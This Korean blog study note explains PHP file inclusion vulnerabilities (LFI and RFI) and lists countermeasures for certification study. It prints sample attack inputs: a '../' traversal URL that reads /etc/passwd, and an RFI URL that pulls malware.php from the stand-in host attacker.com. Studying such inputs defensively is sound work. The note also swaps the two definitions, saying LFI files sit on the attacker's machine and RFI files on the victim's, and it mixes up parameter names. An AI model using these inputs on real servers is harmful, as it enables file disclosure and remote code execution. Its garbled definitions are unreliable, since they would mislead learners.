본문 바로가기

교육 및 자격증/스터디

GH(NOB); 파일 삽입(File Inclusion) 취약점[RFI, LFI]

728x90

 

1. 파일 삽입 공격

 : 파일 삽입 취약점은 공격자가 악성 서버 스크립트를 서버에 전달하여 해당 페이지를 통해 악성 코드가 실행되도록 하는 취약점을 말한다.

 

 - 동적으로 파일을 로드할 때 발생하며 삽입할 악성 서버 스크립트 파일 위치에 따라 LFI(Local File Inclusion)RFI(Remote File Inclusion)로 나뉜다.

 

#include 함수

 : 지정한 파일(페이지)를 현재 페이지에 포함시켜 실행시켜주는 함수다.

 개발의 편리함을 가져다줄 수 있지만 만약 파익/페이지 정보를 외부로부터 입력받을 때 적절한 검증을 수행하지 않으면 악성 스크립트를 포함한 페이지가 include 될 수 있다.

주로 php에서 발생하는데 include()함수로 다른 파일을 소스코드에 포함할 수 있어 이를 공격자가 악용한다.

ex) http://url~/webshell.php

 

LFI(Local File Inclusion)

 : 악의적인 공격자가 웹 응용 프로그램에서 로컬 파일을 로드하도록 유도하여 공격하는 것이다. 

접근하려는 파일이 외부(공격자) 컴퓨터에 존재하며, 공격자는 악성 스크립트를 실행하기 위해 웹 서버에 있는 로컬 파일 시스템에 액세스할 수 있다.[중요 내용 노출]

 - 일반적으로 경로 조작 기법을 이용하여 공격한다.

ex)

http://example.com/index.php?page=../../../../etc/passwd 

 -> page 파라미터 값에 ../를 여러번 추가하여 상위 디렉토리로 이동 후 /etc/passwd를 로드하는 것

 

RFI(Remote File Inclusion)

 : 악의적인 공격자가 웹 응용 프로그램에서 외부 파일을 로드하도록 유도하여 공격하는 것이다.

접근하려는 파일이 희생자의 컴퓨터에 존재하며, 공격자는 응용 프로그램에서 사용하는 파일을 감염시켜 악성 코드를 실행하거나 웹 서버의 제어를 탈취할 수 있다. [웹쉘 실행]

 ex)

http://example.com/index.php?url=http://attacker.com/malware.php 

-> example.com/index.php에 위와 같은 url을 생성하여, page.php에서 url 변수에 직접 maliciou_script.php를 입력하도록 유도한다. 그리고 공격자는 악성 스크립트를 실행시킬 수 있는 서버 attacker.com의 스크립트를 가져와 실행시킬 수 있다.

 

2. 대응책

1. 관리자는 소스코드에 include, require 등의 구문/함수가 존재하는지 검증

만약 사용자의 입력값을 통해 파일명이 결정된다면 외부의 악의적인 파일이 포함되어 실행되지 않도록 php설정 파일인 php.ini 파일에서 allow_url_fopen을 off설정

2. 사용자 입력 값 검증

파일 경로나 URL을 직접 사용하기 전, 입력 값 검증을 통해 유효한 값만 사용(../필터링)

3. 파일 경로 설정

로드할 파일 경로를 하드코딩하는 것이 아니라, 설정 파일을 통해 파일 경로를 관리 ex) 파일경로 숨기기등

4. 파일 확장자 검사

로드할 파일의 확장자를 검사하여, 유효한 파일만을 로드하도록 설정

 

 - 3줄 요약

파일 삽입 취약점은 웹 어플리케이션에서 동적으로 파일을 로드할 때 발생할 수 있는 취약점이다.

파일위치에 따라 LFI와 RFI로 나뉜다.

owasp top10에는 포함되지 않았다.

 

 - 참고

chatGPT

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=lop381&logNo=220765210741

정보보안기사 실기책(알기사)

https://myungjjju.tistory.com/58